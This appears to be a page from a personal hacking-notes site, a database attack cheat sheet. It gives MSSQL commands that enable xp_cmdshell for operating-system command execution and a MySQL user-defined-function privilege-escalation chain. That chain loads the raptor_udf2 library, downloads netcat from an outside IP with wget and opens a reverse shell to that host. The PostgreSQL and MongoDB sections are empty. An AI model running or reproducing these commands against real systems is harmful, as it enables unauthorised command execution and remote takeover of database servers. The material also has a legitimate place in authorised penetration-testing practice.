> For the complete documentation index, see [llms.txt](https://f1rstbyt3.gitbook.io/hacking-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://f1rstbyt3.gitbook.io/hacking-notes/web-application/databases.md).

# Databases

### MSSQL

Login:

```
mssqlclient.py username:password@<targetName or address>
 
OR 
edit the /etc/freetds/freetds.conf file:
[HOST]
        host = IP
        port = 1435
        tds version = 8.0
create a ~/.sqshrc file:
\set username=USERNAME
\set password=PASSWORD
\set style=vert
```

Privesc/ execution:

```
EXEC sp_configure 'show advanced option', '1';
go
RECONFIGURE WITH OVERRIDE;
go
EXEC sp_configure 'xp_cmdshell', 1;
go
RECONFIGURE;
go
EXEC sp_configure 'show advanced option';
go
-------------[CHECK IT WORKS]------------
xp_cmdshell 'whoami';
```

### MySQL / MariaDB

Login:

```
mysql -uUSER -pPASS -H HOST
```

Commands:

```
show database;
use DATABASE;
show tables;
select * from table;
show variables like 'plugin_dir';
```

UDF:&#x20;

```
create table foo(line blob);

insert into foo values(load_file('/var/www/raptor_udf2.so'));

select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';

create function do_system returns integer soname 'raptor_udf2.so';

select * from mysql.func;

select do_system('id > /var/www/out; chown www-data.www-data /var/www/out');

select do_system('wget http://192.168.49.246:8295/nc -O /var/www/nc');
select do_system('/var/www/nc 192.168.49.246 8295 -e /bin/bash');
```

### PostGreSQL

Login:

### MongoDB

Login: